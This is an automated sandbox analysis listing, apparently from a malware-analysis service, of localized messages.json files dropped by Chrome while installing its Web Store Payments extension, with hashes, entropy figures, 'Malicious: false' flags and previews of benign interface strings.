"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome ............"..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA

MD5: 9F6B4D82A70C74CA751E2EAE70FAB5CF

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\it\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ja\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ko\messages.json
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SHA1: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

SHA-256: D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome . ... .."..   },..   "app_name": {..      "message": "Chrome . ... .."..   },..   "craw_app_unavailable": {..      "message": ".. .. ... . 
....."..   },..   "craw_connect_to_network": {..      "message": "..... ......"..   },..   "iap_unavailable": {..      "message": ".. .. ... ... . ....."..   },..   "jwt_retrieve_failed": {..      "
message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome. ......."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg

MD5: 4CA644F875606986A9898D04BDAE3EA5

SHA1: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C

SHA-512: E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D344
4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema"..   },..   "app_name": {..      "message": ".Chrome. internetin.s parduotuv.s 
mok.jimo sistema"..   },..   "craw_app_unavailable": {..      "message": "Programa .iuo metu negalima."..   },..   "craw_connect_to_network": {..      "message": "Prisijunkite 
prie tinklo."..   },..   "iap_unavailable": {..      "message": "Mok.jimai programoje .iuo metu negalimi."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could 
not be completed."..   },..   "please_sign_in": {..      "message": "Prisijunkite prie .Chrome.."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 671

Entropy (8bit): 4.631774066483956

Encrypted: false

SSDEEP: 12:1HEJFhVbGGFhVb+WYpU34wDoz+dgGedBO8ZpU34wF03OyZnLAOfTYGYID:1HENQKkWYp2Doy/em8Zp2WOGAOfRYID

MD5: C5CE2C51391EAFD3DA9E4C71549A3C28

SHA1: 1F67FF6EF6E90C0CE3AAF56ED543A3EFD381574D

SHA-256: 1FA1DF2CA8516DEF490FB8484E9AA498ACFF80EEF5C9258FFE42D3678E6C7DED

SHA-512: C85F6281E682F52BC2147DEA7E2F3BB4DC48D98BADA8687B05C6C7271C78EA7F5431CD51671A4184C9AE004FC53C016E3C594697F483195CCBA08A93821EEF7
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome interneta veikala maks.jumu sist.ma"..   },..   "app_name": {..      "message": "Chrome interneta veikala maks.jumu s
ist.ma"..   },..   "craw_app_unavailable": {..      "message": "Lietotne pagaid.m nav pieejama."..   },..   "craw_connect_to_network": {..      "message": "L.dzu, izveidojiet 
savienojumu ar t.klu."..   },..   "iap_unavailable": {..      "message": "Maks.jumi lietotn.s pa.laik nav pieejami."..   },..   "jwt_retrieve_failed": {..      "message": "The transacti
on could not be completed."..   },..   "please_sign_in": {..      "message": "L.dzu, pierakstieties p.rl.k. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.555032032637389

Encrypted: false

SSDEEP: 12:1HEJhiOGGhiO+WYpU34OHSN+dgFjdGFZO8ZpU34JgdN03OyZnLAOfTYiD:1HEDiHIitWYpCYJ8ZpD1OGAOfRD

MD5: 93C459A23BC6953FF744C35920CD2AF9

SHA1: 162F884972103A08ADB616A7EB3598431A2924C5

SHA-256: 2CD700AEB57D89C2E73333D0702556EE3FF3863516170F85669BC680FCBDC4E0

SHA-512: F76E6E8D8499306883C3EC1E774F7E8BB6B601096DA5A14D17D3E7D5732829542041E42B7350466589291ADCC83FB065FD591B4E20CFCF8EDC586E128ECBFCB
5

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\lt\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\lv\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\nb\messages.json
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Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "app_name": {..      "message": "Chrome Nettmarked-betalinger"..   },..   "craw_app
_unavailable": {..      "message": "Appen er utilgjengelig for .yeblikket."..   },..   "craw_connect_to_network": {..      "message": "Du m. koble til et nettverk."..   },..   "iap
_unavailable": {..      "message": "Betaling i app er ikke tilgjengelig for .yeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be complet
ed."..   },..   "please_sign_in": {..      "message": "Du m. logge p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 615

Entropy (8bit): 4.4715318546237315

Encrypted: false

SSDEEP: 12:1HEJJQGkbGGJQGkb+WYpU34OQKJT+dgiXUmvFZO8ZpU34g7JT03OyZnLAOfTYMD:1HErxkaqxk6WYptndXI8ZpTOGAOfbD

MD5: 7A8F9D0249C680F64DEC7650A432BD57

SHA1: 53477198AEE389F6580921B4876719B400A23CA1

SHA-256: 92BE7C2DC9CFBE5A65E9CE6488D364C8D7EC19E7B67A31E4D43C1CB2B169671C

SHA-512: 969AB979546A741C0F3EDBEEB21BABA375FA8870D4FB9248CDD4C305736E332E10CAB7B64C5C078E60EC0CD73848101B390BE8F44B89C310058AF4C1CA3C8A
A7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalingen via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalingen via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "App momenteel niet beschikbaar."..   },..   "craw_connect_to_network": {..      "message": "Maak verbinding met een netwerk."..   
},..   "iap_unavailable": {..      "message": "In-app-betalingen is momenteel niet beschikbaar."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Log in bij Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.646901997539488

Encrypted: false

SSDEEP: 12:1HEJbiVbGGbiVb+WYpU34OBHlBi9+dgQUg6O8ZpU34bdbfiIu03OyZnLAOfTYR5k:1HE5iVauiV6WYpIAYr8ZpxFiaOGAOfIC

MD5: 0E6194126AFCCD1E3098D276A7400175

SHA1: E8127B905A640B1C46362FA6E1127BE172F4A40F

SHA-256: E2699F98C511B18A2AFB82EAE9A4804B646C4FF1077D80E77C17A3943A6373C2

SHA-512: A71F7C7BFBBF1E37E699601AF2E095C56CBA91F90CB7556477DF31D01B83ADFB1271E1775C9BA299FF6875BBFC2B6AB47488CC88E33DEF2F6F2E0E5AC687B7
77

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   "app_name": {..      "message": "P.atno.ci w sklepie Chrome Web Store"..   },..   
"craw_app_unavailable": {..      "message": "Aplikacja jest obecnie niedost.pna."..   },..   "craw_connect_to_network": {..      "message": "Po..cz si. z sieci.."..   },..   
"iap_unavailable": {..      "message": "P.atno.ci w ramach aplikacji s. teraz niedost.pne."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Zaloguj si. w Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 636

Entropy (8bit): 4.515158874306633

Encrypted: false

SSDEEP: 12:1HEJsc/bGGsc/b+WYpU34OLw+dgn/KzO8ZpU34FjIBMwGRO03OyZnLAOfTYN+KcY:1HEb/a8/6WYp4mZ8Zp7cKlOGAOf2tD

MD5: 86A2B91FA18B867209024C522ED665D5

SHA1: 63DEC245637818C76655E01FCB6D59784BC7184E

SHA-256: 6374880FDD1F8AF1EE8AEA6A06B73BE0AB265AFCEB4FE6F08BDE3B3989264B21

SHA-512: DA6DBDE5028756421C2904F605632EE98831A25A1247E6238A931629B94CE8A00FD76F4235F118D2167304BD60F2C06B2AD78E54FF6CE53F8C38DF8C7B5AFCE4

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\nl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pt_BR\messages.json
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Preview: {..   "app_description": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos da Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Aplicativo indispon.vel no momento."..   },..   "craw_connect_to_network": {..      "message": "Conecte-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction 
could not be completed."..   },..   "please_sign_in": {..      "message": "Fa.a login no Google Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 622

Entropy (8bit): 4.526171498622949

Encrypted: false

SSDEEP: 12:1HEJsZUkbGGsZUkb+WYpU34OAE+dgqxKzO8ZpU34rEpBfvPO03OyZnLAOfTYLD:1HEmUka5Uk6WYpFvdxZ8ZpSTnPlOGAOS

MD5: 750A4800EDB93FBE56495963F9FB3B94

SHA1: 8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61

SHA-256: C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9E83

SHA-512: 2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCA8C77FFD808A2058602D3646FD8DAE2844406F
24

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamentos via Chrome Web Store"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplica..o atualmente indispon.vel."..   },..   "craw_connect_to_network": {..      "message": "Ligue-se a uma rede."..   },..   
"iap_unavailable": {..      "message": "Os Pagamentos na app est.o atualmente indispon.veis."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Inicie sess.o no Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.61125938671415

Encrypted: false

SSDEEP: 12:1HEJqJrJZGGqJrJZ+WYpU344HIx2Z+dgrVPlZO8ZpU34qT7hI3O03OyZnLAOfTYU:1HEC4D8WYpKow8WV68ZpKhoOGAOfoVGD

MD5: 98D43E4B1054A65DF3FA3CC40AB6FB6D

SHA1: 46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2

SHA-256: 113A13900CBA62FE8AED06751971C23A80A99B47F9BE219CF884D57DB19611D9

SHA-512: A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD1466

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "app_name": {..      "message": "Pl..i prin Magazinul web Chrome"..   },..   "cr
aw_app_unavailable": {..      "message": ".n prezent, aplica.ia nu este disponibil.."..   },..   "craw_connect_to_network": {..      "message": "Conecteaz.-te la o re.ea."..   },..   
"iap_unavailable": {..      "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be c
ompleted."..   },..   "please_sign_in": {..      "message": "Conecteaz.-te la Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 744

Entropy (8bit): 4.918620852166656

Encrypted: false

SSDEEP: 12:1HEJ7OJHZMSl3ZGG7OJHZMSl3Z+WYpU34zWJ2F+dgVtLSv/TO8ZpU347NWjT03On:1HElOJHZMq4uOJHZMq8WYpdWJ/YGHq8m

MD5: DB2EDF1465946C06BD95C71A1E13AE64

SHA1: FB4F3ECE9ECECEBBC6CA2A592A15FB9C1FDFB811

SHA-256: FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DA64ED67AB

SHA-512: 4E0CF00BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CE6828D25C5ABBF143C990116F6
32

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "......... ....... ........-........ Chrome"..   },..   "app_name": {..      "message": "......... ....... ........-........ Chrome"..   },..   "craw_app_u
navailable": {..      "message": ".......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............ . ....."..   },..   "iap_unavailable": {..      "message": "....... ..... 
.......... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "....... . Chrome."..   }..
}..

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pt_PT\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ro\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ru\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.640777810668463

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34ORO+dgmmCO8ZpU34yH7u2Z03OyZnLAOfTYCUAi0D:1HEl4G8WYpetPmD8ZpcH7aOGAOfzUeD

MD5: 8DF215D1EFBDABB175CCDD68ED8DCB0A

SHA1: 2B374462137A38589A73FDD00A84CBDC7E50F9F4

SHA-256: 7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAF4DED9D63B

SHA-512: C0E623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EB0AFFBE087AAB62F1C88CD2A40CC44E599
D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplik.cia moment.lne nie je dostupn.."..   },..   "craw_connect_to_network": {..      "message": "Pripojte sa k sieti."..   },..   
"iap_unavailable": {..      "message": "Platby v aplik.cii moment.lne nie s. k dispoz.cii."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Prihl.ste sa do prehliada.a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 617

Entropy (8bit): 4.5101656584816885

Encrypted: false

SSDEEP: 12:1HEJGcyvmbZGGGcyvmbZ+WYpU34OBOEtf+dgca1ZO8ZpU34GcQArERff03OyZnLh:1HE4cyY4TcyY8WYpNoWa1w8ZpQcQ6AfK

MD5: 3943FA2A647AECEDFD685408B27139EE

SHA1: 0129DD19D28373359530B3B477FE8A9279DABB7D

SHA-256: 18AFF072EE0DF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A

SHA-512: 42E62B3855611FF2E1D39C11404CB1A09825EE4CA6A8ACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297B0DEC0
9D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "craw_app
_unavailable": {..      "message": "Aplikacija trenutno ni na voljo."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se z omre.jem."..   },..   "iap_unavailabl
e": {..      "message": "Pla.ila v aplikacijah trenutno niso na voljo."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "
please_sign_in": {..      "message": "Prijavite se v Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 743

Entropy (8bit): 4.913927107235852

Encrypted: false

SSDEEP: 12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP03OyZnLAOfTYzDYD:1HEKsb59sbTWYplx4Xud8Zpy1mNOGAOv

MD5: D485DF17F085B6A37125694F85646FD0

SHA1: 24D51D8642CDC6EFD5D8D7A4430232D8CDE25108

SHA-256: 7FFDE34C58E7C376C042DE64DEF6481DAE32BE8B70F0B18EDF536290CBE0C818

SHA-512: 0DDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378EC9D36177FFBE213471247FB94721EA34A83E7665669200047091D0FDE134E3D763217E7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "....... . Chrome ...-.........."..   },..   "app_name": {..      "message": "....... . Chrome ...-.........."..   },..   "craw_app_unavailable": {..      
"message": ".......... .. ........ ..........."..   },..   "craw_connect_to_network": {..      "message": "........ .. ......."..   },..   "iap_unavailable": {..      "message": "....... . .......... .. ........ 
..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "......... .. . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sk\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sl\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sv\messages.json
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File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 630

Entropy (8bit): 4.52964089437422

Encrypted: false

SSDEEP: 12:1HEJJMkbGGJMkb+WYpU34OACwz+dgNPGFZO8ZpU34JgpXLSb03OyZnLAOfTYLdID:1HErMkaqMk6WYpTOcb8ZpDgdZOGAOf8Y

MD5: D372B8204EB743E16F45C7CBD3CAAF37

SHA1: C96C57219D292B01016B37DCF82E7C79AD0DD1E8

SHA-256: B8BA77E0089B0676545EC16D32468B727812B444F90B33A7A5B748E6C36C4388

SHA-512: 33640529E0D5DCC5CA4BDB0615A2818E8D26C6FCB7B3474C08AC3EB67B9DB40E1F0A79954ED20728CD47A686D2533DCBC76ABCBDB917F8530C8DE8BBA6873
52E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalning via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalning via Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Appen .r inte tillg.nglig f.r tillf.llet."..   },..   "craw_connect_to_network": {..      "message": "Anslut till ett n.tverk."..   },..   "iap_unavai
lable": {..      "message": "Betalning i appen .r inte tillg.ngligt f.r n.rvarande."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },.. 
  "please_sign_in": {..      "message": "Logga in i Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 945

Entropy (8bit): 4.801079428724355

Encrypted: false

SSDEEP: 24:1HEKa1dDa1/WYp6UFi72SmlG8ZpyactrW2SAOGAOfvSLD:WK2DNYp6U4y3bpyLxwGFW

MD5: 83E2D1E97791A4B2C5C69926EFB629C9

SHA1: 429600425CB0F196DDD717F940E94DBD8BFF2837

SHA-256: 2FECA577F43D97BAEEA464741D585892103585208FD0A935B810A03BDCE83C88

SHA-512: 60A5928DAA8CB4341487F477C56B5A98B83EDE50E5F4F55A802E01FDDAB86F3E795D391953D3D9214552D14D3F58C5A183693C613720FC12FC387D7B8F9B9AB6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "............... Chrome ........."..   },..   "app_name": {..      "message": "............... Chrome ........."..   },..   "craw_app_unavailable": {..    
  "message": "............................."..   },..   "craw_connect_to_network": {..      "message": "........................."..   },..   "iap_unavailable": {..      "message": "............................
..................."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "................. Chrome"..   
}..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 4.710869622361971

Encrypted: false

SSDEEP: 12:1HEJ9Y8GG9Y8+WYpU34wWT+dgGb0GO8ZpU34wryd7T03OyZnLAOfTYGbPKG:1HE0jWYpyRnG8Zpyr/OGAOfFPn

MD5: 2CEAE0567B6BB1D240BBAD690A98CA3B

SHA1: 5944346FBD4A0797B13223895995CAB58E9ECD23

SHA-256: A7CB86F30C9C31FE5540282C308BA96ADB4EC16EF98C87129EB88105E5BEF5FC

SHA-512: 108A07C6D03D7178E8D0FFEF5349E0249A898D864964FED8757BD8A08BC1C6D9613F2A6C01AA34A6606127D1C6CE14C229FA02586677DBB060B85E3E845950E1

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "app_name": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "craw_a
pp_unavailable": {..      "message": "Uygulama .u anda kullan.lam.yor."..   },..   "craw_connect_to_network": {..      "message": "L.tfen bir a.a ba.lan.n."..   },..   "iap_unavail
able": {..      "message": "Uygulama ..i .demeler .u anda kullan.lamaz."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "L.tfen Chrome'da oturum a..n."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 720

Entropy (8bit): 4.977397623063544

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\th\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\tr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\uk\messages.json
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Encrypted: false

SSDEEP: 12:1HEJ7wILkSlXZGG7wILkSlXZ+WYpU34zb1Oy2P+dgSV1EjiTO8ZpU347qtfP2CTW:1HElwEkK4uwEkK8WYpd/dTV1e8Zptq5S

MD5: AB0B56120E6B38C42CC3612BE948EF50

SHA1: 8B3F520E5713D9F116D68E71DAEED1F6E8D74629

SHA-256: 68ABA284751EB9C856032062EF9B1651E2A1E5CE5FDA0977FFC97D63BA7BED9E

SHA-512: CD852A58217F739C1CD58567FF432D31A7AD3F68C884ABBA1DA95799BCD1545C6A5D3B06F319681C12B78AD0A709828DE4B22736316F148D21F5DB76A5BCCBE
F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "....... ...-........ Chrome"..   },..   "app_name": {..      "message": "....... ...-........ Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........ ......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............. .. ......."..   },..   "iap_unavailable": {..      "message": "....... ..... ........ ..... .. 
........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "........ . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 695

Entropy (8bit): 4.855375139026009

Encrypted: false

SSDEEP: 12:1HEJMAZrSFZGGMAZrSFZ+WYpU34WFHoz+dgdklzoO8ZpU34NFHoz03OyZnLAOfTU:1HEI4B8WYpAKytFZ8ZpXKMOGAOfd6D

MD5: 7EBB677FEAD8557D3676505225A7249A

SHA1: F161B4B6001AEAEAB246FF8987F4D992B48D47BE

SHA-256: 051F96ED874C11C4A13589B5F68964E4F5B03B52DDA223D56524F2CA23760C04

SHA-512: 74FD267CF7E299FB8E7054605C3F651F057F676FF865082FA24F4916755456768DB0DA62DBC515D829B48AB1F9CFC8AD3E841DCBF1F194D5CB14C5335A192A0D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   },..   "app_name": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   
},..   "craw_app_unavailable": {..      "message": ".ng d.ng hi.n kh.ng kh. d.ng."..   },..   "craw_connect_to_network": {..      "message": "Vui l.ng k.t n.i v.i m.ng."..   },..   
"iap_unavailable": {..      "message": "Thanh to.n trong .ng d.ng hi.n kh.ng kh. d.ng."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be compl
eted."..   },..   "please_sign_in": {..      "message": "Vui l.ng ..ng nh.p v.o Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 5.210259193489374

Encrypted: false

SSDEEP: 12:1HEJ01GG01+WYpU34zeHz+dgfO8ZpU34YKiO03OyZnLAOfTYB6U:1HEpIWYpISv8Zp+JOGAOfa6U

MD5: BB73BF561BB79F89D9BF7C67C5AE5C65

SHA1: 2FADD3A1959B29C44830033A35C637D0311A8C9C

SHA-256: D804F2A040D21D7511EFD5213D8E1721D64964A1A0DBB48E21622CEEDC9D967E

SHA-512: 627D44CEF1FE5C5ABD598BD47FF5E22B9EFC1CF98DDE3868FA9E5896C134A0C9C055AC34EDDADAE56B6690E51AEA89965D38F770552A85C732CC796795DC6
8D2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........."..   },..   "app_name": {..      "message": "Chrome ........."..   },..   "craw_app_unavailable": {..      "message": "........
."..   },..   "craw_connect_to_network": {..      "message": "......."..   },..   "iap_unavailable": {..      "message": "............"..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 634

Entropy (8bit): 5.386215984611281

Encrypted: false

SSDEEP: 12:1HEJ2j62GG2j62+WYpU34m7T+dgc8nOO8ZpU34mvIO03OyZnLAOfTYAuH:1HEuSZCWYpsStwP8ZpROGAOfCH

MD5: 5FF50C673CC0C661D615F0CFD0E6DCA0

SHA1: 60DFF98DEAB9C4746B288BDD9C94B3BCAE5EAA85

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\vi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\zh_CN\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\zh_TW\messages.json
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SHA-256: C6F8C640F3353A7B9B1432A0C139C1AEEC40133800E6C9B467B63991AD660308

SHA-512: 361D62D91F4931C5F34092C9F2C6A5323D5EEB82A24E7ABE11F7817D8D66341C0ECAD4DCB4B10873920C8D6A3CC9F5704889E178EB2549001A9F62BEDF6C801
9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ............"..   },..   "app_name": {..      "message": "Chrome ............"..   },..   "craw_app_unavailable": {..      "message": "..
..........."..   },..   "craw_connect_to_network": {..      "message": "......"..   },..   "iap_unavailable": {..      "message": "................"..   },..   "jwt_retrieve_failed": {..      "message
": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 7780

